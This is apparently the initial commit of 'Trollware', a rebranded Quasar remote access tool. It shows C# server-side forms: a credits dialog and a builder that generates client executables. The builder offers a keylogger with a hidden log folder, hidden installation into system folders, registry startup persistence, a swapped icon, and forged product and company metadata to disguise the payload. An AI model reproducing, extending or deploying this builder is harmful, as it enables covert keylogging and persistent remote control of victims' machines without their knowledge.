initial commit

This commit is contained in:
i2p
2026-08-27 11:22:16 -06:00
commit 96afff7a83
600 changed files with 29291 additions and 0 deletions
+153
View File
@@ -0,0 +1,153 @@
namespace Quasar.Server.Forms
{
partial class FrmAbout
{
private System.ComponentModel.IContainer components = null;
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
components.Dispose();
base.Dispose(disposing);
}
#region Windows Form Designer generated code
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout));
this.lblTitle = new System.Windows.Forms.Label();
this.lblSubTitle = new System.Windows.Forms.Label();
this.lblVersion = new System.Windows.Forms.Label();
this.lblSep = new System.Windows.Forms.Label();
this.lblCredits1 = new System.Windows.Forms.Label();
this.lblRole1 = new System.Windows.Forms.Label();
this.lblCredits2 = new System.Windows.Forms.Label();
this.lblRole2 = new System.Windows.Forms.Label();
this.btnOkay = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// lblTitle
//
this.lblTitle.AutoSize = true;
this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblTitle.Location = new System.Drawing.Point(12, 12);
this.lblTitle.Name = "lblTitle";
this.lblTitle.TabIndex = 1;
this.lblTitle.Text = "Trollware";
//
// lblSubTitle
//
this.lblSubTitle.AutoSize = true;
this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblSubTitle.Location = new System.Drawing.Point(14, 46);
this.lblSubTitle.Name = "lblSubTitle";
this.lblSubTitle.TabIndex = 2;
this.lblSubTitle.Text = "Credits";
//
// lblVersion
//
this.lblVersion.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblVersion.Location = new System.Drawing.Point(150, 46);
this.lblVersion.Name = "lblVersion";
this.lblVersion.Size = new System.Drawing.Size(60, 13);
this.lblVersion.TabIndex = 3;
this.lblVersion.Text = "%VERSION%";
this.lblVersion.TextAlign = System.Drawing.ContentAlignment.TopRight;
//
// lblSep — divider line
//
this.lblSep.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.lblSep.Location = new System.Drawing.Point(12, 86);
this.lblSep.Name = "lblSep";
this.lblSep.Size = new System.Drawing.Size(280, 2);
this.lblSep.TabIndex = 4;
//
// lblCredits1 (@shixvx)
//
this.lblCredits1.AutoSize = true;
this.lblCredits1.Font = new System.Drawing.Font("Segoe UI", 11F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblCredits1.Location = new System.Drawing.Point(12, 104);
this.lblCredits1.Name = "lblCredits1";
this.lblCredits1.TabIndex = 5;
this.lblCredits1.Text = "@shixvx";
//
// lblRole1
//
this.lblRole1.AutoSize = true;
this.lblRole1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblRole1.Location = new System.Drawing.Point(14, 128);
this.lblRole1.Name = "lblRole1";
this.lblRole1.TabIndex = 6;
this.lblRole1.Text = "everything else";
//
// lblCredits2 (@zwclose)
//
this.lblCredits2.AutoSize = true;
this.lblCredits2.Font = new System.Drawing.Font("Segoe UI", 11F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblCredits2.Location = new System.Drawing.Point(12, 158);
this.lblCredits2.Name = "lblCredits2";
this.lblCredits2.TabIndex = 7;
this.lblCredits2.Text = "@zwclose";
//
// lblRole2
//
this.lblRole2.AutoSize = true;
this.lblRole2.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.lblRole2.Location = new System.Drawing.Point(14, 182);
this.lblRole2.Name = "lblRole2";
this.lblRole2.TabIndex = 8;
this.lblRole2.Text = "some ideas";
//
// btnOkay
//
this.btnOkay.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.btnOkay.Location = new System.Drawing.Point(217, 205);
this.btnOkay.Name = "btnOkay";
this.btnOkay.Size = new System.Drawing.Size(75, 23);
this.btnOkay.TabIndex = 9;
this.btnOkay.Text = "&Okay";
this.btnOkay.UseVisualStyleBackColor = true;
this.btnOkay.Click += new System.EventHandler(this.btnOkay_Click);
//
// FrmAbout
//
this.AcceptButton = this.btnOkay;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.btnOkay;
this.ClientSize = new System.Drawing.Size(304, 240);
this.Controls.Add(this.lblTitle);
this.Controls.Add(this.lblSubTitle);
this.Controls.Add(this.lblVersion);
this.Controls.Add(this.lblSep);
this.Controls.Add(this.lblCredits1);
this.Controls.Add(this.lblRole1);
this.Controls.Add(this.lblCredits2);
this.Controls.Add(this.lblRole2);
this.Controls.Add(this.btnOkay);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmAbout";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Trollware - Credits";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblSubTitle;
private System.Windows.Forms.Label lblVersion;
private System.Windows.Forms.Label lblSep;
private System.Windows.Forms.Label lblCredits1;
private System.Windows.Forms.Label lblRole1;
private System.Windows.Forms.Label lblCredits2;
private System.Windows.Forms.Label lblRole2;
private System.Windows.Forms.Button btnOkay;
}
}
+19
View File
@@ -0,0 +1,19 @@
using System;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmAbout : Form
{
public FrmAbout()
{
InitializeComponent();
lblVersion.Text = $"v{Application.ProductVersion}";
}
private void btnOkay_Click(object sender, EventArgs e)
{
this.Close();
}
}
}
+197
View File
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAAAAAAAAAAAA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AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
File diff suppressed because it is too large Load Diff
+530
View File
@@ -0,0 +1,530 @@
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Server.Build;
using Quasar.Server.Models;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
public partial class FrmBuilder : Form
{
private bool _profileLoaded;
private bool _changed;
private readonly BindingList<Host> _hosts = new BindingList<Host>();
private readonly HostsConverter _hostsConverter = new HostsConverter();
public FrmBuilder()
{
InitializeComponent();
}
private void LoadProfile(string profileName)
{
var profile = new BuilderProfile(profileName);
_hosts.Clear();
foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts))
_hosts.Add(host);
txtTag.Text = profile.Tag;
numericUpDownDelay.Value = profile.Delay;
txtMutex.Text = profile.Mutex;
chkInstall.Checked = profile.InstallClient;
txtInstallName.Text = profile.InstallName;
GetInstallPath(profile.InstallPath).Checked = true;
txtInstallSubDirectory.Text = profile.InstallSub;
chkHide.Checked = profile.HideFile;
chkHideSubDirectory.Checked = profile.HideSubDirectory;
chkStartup.Checked = profile.AddStartup;
txtRegistryKeyName.Text = profile.RegistryName;
chkChangeIcon.Checked = profile.ChangeIcon;
txtIconPath.Text = profile.IconPath;
chkChangeAsmInfo.Checked = profile.ChangeAsmInfo;
chkKeylogger.Checked = profile.Keylogger;
txtLogDirectoryName.Text = profile.LogDirectoryName;
chkHideLogDirectory.Checked = profile.HideLogDirectory;
txtProductName.Text = profile.ProductName;
txtDescription.Text = profile.Description;
txtCompanyName.Text = profile.CompanyName;
txtCopyright.Text = profile.Copyright;
txtTrademarks.Text = profile.Trademarks;
txtOriginalFilename.Text = profile.OriginalFilename;
txtProductVersion.Text = profile.ProductVersion;
txtFileVersion.Text = profile.FileVersion;
_profileLoaded = true;
}
private void SaveProfile(string profileName)
{
var profile = new BuilderProfile(profileName);
profile.Tag = txtTag.Text;
profile.Hosts = _hostsConverter.ListToRawHosts(_hosts);
profile.Delay = (int) numericUpDownDelay.Value;
profile.Mutex = txtMutex.Text;
profile.UnattendedMode = true;
profile.InstallClient = chkInstall.Checked;
profile.InstallName = txtInstallName.Text;
profile.InstallPath = GetInstallPath();
profile.InstallSub = txtInstallSubDirectory.Text;
profile.HideFile = chkHide.Checked;
profile.HideSubDirectory = chkHideSubDirectory.Checked;
profile.AddStartup = chkStartup.Checked;
profile.RegistryName = txtRegistryKeyName.Text;
profile.ChangeIcon = chkChangeIcon.Checked;
profile.IconPath = txtIconPath.Text;
profile.ChangeAsmInfo = chkChangeAsmInfo.Checked;
profile.Keylogger = chkKeylogger.Checked;
profile.LogDirectoryName = txtLogDirectoryName.Text;
profile.HideLogDirectory = chkHideLogDirectory.Checked;
profile.ProductName = txtProductName.Text;
profile.Description = txtDescription.Text;
profile.CompanyName = txtCompanyName.Text;
profile.Copyright = txtCopyright.Text;
profile.Trademarks = txtTrademarks.Text;
profile.OriginalFilename = txtOriginalFilename.Text;
profile.ProductVersion = txtProductVersion.Text;
profile.FileVersion = txtFileVersion.Text;
}
private void FrmBuilder_Load(object sender, EventArgs e)
{
lstHosts.DataSource = new BindingSource(_hosts, null);
LoadProfile("Default");
numericUpDownPort.Value = Settings.ListenPort;
UpdateInstallationControlStates();
UpdateStartupControlStates();
UpdateAssemblyControlStates();
UpdateIconControlStates();
UpdateKeyloggerControlStates();
}
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
{
if (_changed &&
MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected",
MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{
SaveProfile("Default");
}
}
private void btnAddHost_Click(object sender, EventArgs e)
{
if (txtHost.Text.Length < 1) return;
HasChanged();
var host = txtHost.Text;
ushort port = (ushort) numericUpDownPort.Value;
_hosts.Add(new Host {Hostname = host, Port = port});
txtHost.Text = "";
}
#region "Context Menu"
private void removeHostToolStripMenuItem_Click(object sender, EventArgs e)
{
HasChanged();
List<string> selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList();
foreach (var item in selectedHosts)
{
foreach (var host in _hosts)
{
if (item == host.ToString())
{
_hosts.Remove(host);
break;
}
}
}
}
private void clearToolStripMenuItem_Click(object sender, EventArgs e)
{
HasChanged();
_hosts.Clear();
}
#endregion
#region "Misc"
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) &&
!char.IsControl(e.KeyChar));
}
private void btnMutex_Click(object sender, EventArgs e)
{
HasChanged();
txtMutex.Text = Guid.NewGuid().ToString();
}
private void chkInstall_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateInstallationControlStates();
}
private void chkStartup_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateStartupControlStates();
}
private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateAssemblyControlStates();
}
private void chkKeylogger_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateKeyloggerControlStates();
}
private void btnBrowseIcon_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Title = "Choose Icon";
ofd.Filter = "Icons *.ico|*.ico";
ofd.Multiselect = false;
if (ofd.ShowDialog() == DialogResult.OK)
{
txtIconPath.Text = ofd.FileName;
iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle);
}
}
}
private void chkChangeIcon_CheckedChanged(object sender, EventArgs e)
{
HasChanged();
UpdateIconControlStates();
}
#endregion
private bool CheckForEmptyInput()
{
return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings
_hosts.Count > 0 && // Connection
(!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation
(!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation
}
private BuildOptions GetBuildOptions()
{
BuildOptions options = new BuildOptions();
if (!CheckForEmptyInput())
{
throw new Exception("Please fill out all required fields!");
}
options.Tag = txtTag.Text;
options.Mutex = txtMutex.Text;
options.UnattendedMode = true;
options.RawHosts = _hostsConverter.ListToRawHosts(_hosts);
options.Delay = (int) numericUpDownDelay.Value;
options.IconPath = txtIconPath.Text;
options.Version = Application.ProductVersion;
options.InstallPath = GetInstallPath();
options.InstallSub = txtInstallSubDirectory.Text;
options.InstallName = txtInstallName.Text + ".exe";
options.StartupName = txtRegistryKeyName.Text;
options.Install = chkInstall.Checked;
options.Startup = chkStartup.Checked;
options.HideFile = chkHide.Checked;
options.HideInstallSubdirectory = chkHideSubDirectory.Checked;
options.Keylogger = chkKeylogger.Checked;
options.LogDirectoryName = txtLogDirectoryName.Text;
options.HideLogDirectory = chkHideLogDirectory.Checked;
if (!File.Exists("client.bin"))
{
throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Trollware.");
}
if (options.RawHosts.Length < 2)
{
throw new Exception("Please enter a valid host to connect to.");
}
if (chkChangeIcon.Checked)
{
if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath))
{
throw new Exception("Please choose a valid icon path.");
}
}
else
options.IconPath = string.Empty;
if (chkChangeAsmInfo.Checked)
{
if (!IsValidVersionNumber(txtProductVersion.Text))
{
throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4");
}
if (!IsValidVersionNumber(txtFileVersion.Text))
{
throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4");
}
options.AssemblyInformation = new string[8];
options.AssemblyInformation[0] = txtProductName.Text;
options.AssemblyInformation[1] = txtDescription.Text;
options.AssemblyInformation[2] = txtCompanyName.Text;
options.AssemblyInformation[3] = txtCopyright.Text;
options.AssemblyInformation[4] = txtTrademarks.Text;
options.AssemblyInformation[5] = txtOriginalFilename.Text;
options.AssemblyInformation[6] = txtProductVersion.Text;
options.AssemblyInformation[7] = txtFileVersion.Text;
}
using (SaveFileDialog sfd = new SaveFileDialog())
{
sfd.Title = "Save Client as";
sfd.Filter = "Executables *.exe|*.exe";
sfd.RestoreDirectory = true;
sfd.FileName = "Trollware-Built.exe";
if (sfd.ShowDialog() != DialogResult.OK)
{
throw new Exception("Please choose a valid output path.");
}
options.OutputPath = sfd.FileName;
}
if (string.IsNullOrEmpty(options.OutputPath))
{
throw new Exception("Please choose a valid output path.");
}
return options;
}
private void btnBuild_Click(object sender, EventArgs e)
{
BuildOptions options;
try
{
options = GetBuildOptions();
}
catch (Exception ex)
{
MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
SetBuildState(false);
Thread t = new Thread(BuildClient);
t.Start(options);
}
private void SetBuildState(bool state)
{
try
{
this.Invoke((MethodInvoker)delegate
{
btnBuild.Text = (state) ? "Build" : "Building...";
btnBuild.Enabled = state;
});
}
catch (InvalidOperationException)
{
}
}
private void BuildClient(object o)
{
try
{
BuildOptions options = (BuildOptions) o;
var builder = new ClientBuilder(options, "client.bin");
builder.Build();
try
{
this.Invoke((MethodInvoker) delegate
{
MessageBox.Show(this,
$"Successfully built client! Saved to:\\{options.OutputPath}",
"Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
});
}
catch (Exception)
{
}
}
catch (Exception ex)
{
try
{
this.Invoke((MethodInvoker)delegate
{
MessageBox.Show(this,
$"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
MessageBoxButtons.OK, MessageBoxIcon.Error);
});
}
catch (Exception)
{
}
}
SetBuildState(true);
}
private void RefreshPreviewPath()
{
string path = string.Empty;
if (rbAppdata.Checked)
path =
Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbProgramFiles.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text);
else if (rbSystem.Checked)
path =
Path.Combine(
Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text);
this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; });
}
private bool IsValidVersionNumber(string input)
{
Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase);
return match.Success;
}
private short GetInstallPath()
{
if (rbAppdata.Checked) return 1;
if (rbProgramFiles.Checked) return 2;
if (rbSystem.Checked) return 3;
throw new ArgumentException("InstallPath");
}
private RadioButton GetInstallPath(short installPath)
{
switch (installPath)
{
case 1:
return rbAppdata;
case 2:
return rbProgramFiles;
case 3:
return rbSystem;
default:
throw new ArgumentException("InstallPath");
}
}
private void UpdateAssemblyControlStates()
{
txtProductName.Enabled = chkChangeAsmInfo.Checked;
txtDescription.Enabled = chkChangeAsmInfo.Checked;
txtCompanyName.Enabled = chkChangeAsmInfo.Checked;
txtCopyright.Enabled = chkChangeAsmInfo.Checked;
txtTrademarks.Enabled = chkChangeAsmInfo.Checked;
txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked;
txtFileVersion.Enabled = chkChangeAsmInfo.Checked;
txtProductVersion.Enabled = chkChangeAsmInfo.Checked;
}
private void UpdateIconControlStates()
{
txtIconPath.Enabled = chkChangeIcon.Checked;
btnBrowseIcon.Enabled = chkChangeIcon.Checked;
}
private void UpdateStartupControlStates()
{
txtRegistryKeyName.Enabled = chkStartup.Checked;
}
private void UpdateInstallationControlStates()
{
txtInstallName.Enabled = chkInstall.Checked;
rbAppdata.Enabled = chkInstall.Checked;
rbProgramFiles.Enabled = chkInstall.Checked;
rbSystem.Enabled = chkInstall.Checked;
txtInstallSubDirectory.Enabled = chkInstall.Checked;
chkHide.Enabled = chkInstall.Checked;
chkHideSubDirectory.Enabled = chkInstall.Checked;
}
private void UpdateKeyloggerControlStates()
{
txtLogDirectoryName.Enabled = chkKeylogger.Checked;
chkHideLogDirectory.Enabled = chkKeylogger.Checked;
}
private void HasChanged()
{
if (!_changed && _profileLoaded)
_changed = true;
}
/// <summary>
/// Handles a basic change in setting.
/// </summary>
private void HasChangedSetting(object sender, EventArgs e)
{
HasChanged();
}
/// <summary>
/// Handles a basic change in setting, also refreshing the example file path.
/// </summary>
private void HasChangedSettingAndFilePath(object sender, EventArgs e)
{
HasChanged();
RefreshPreviewPath();
}
}
}
+203
View File
@@ -0,0 +1,203 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
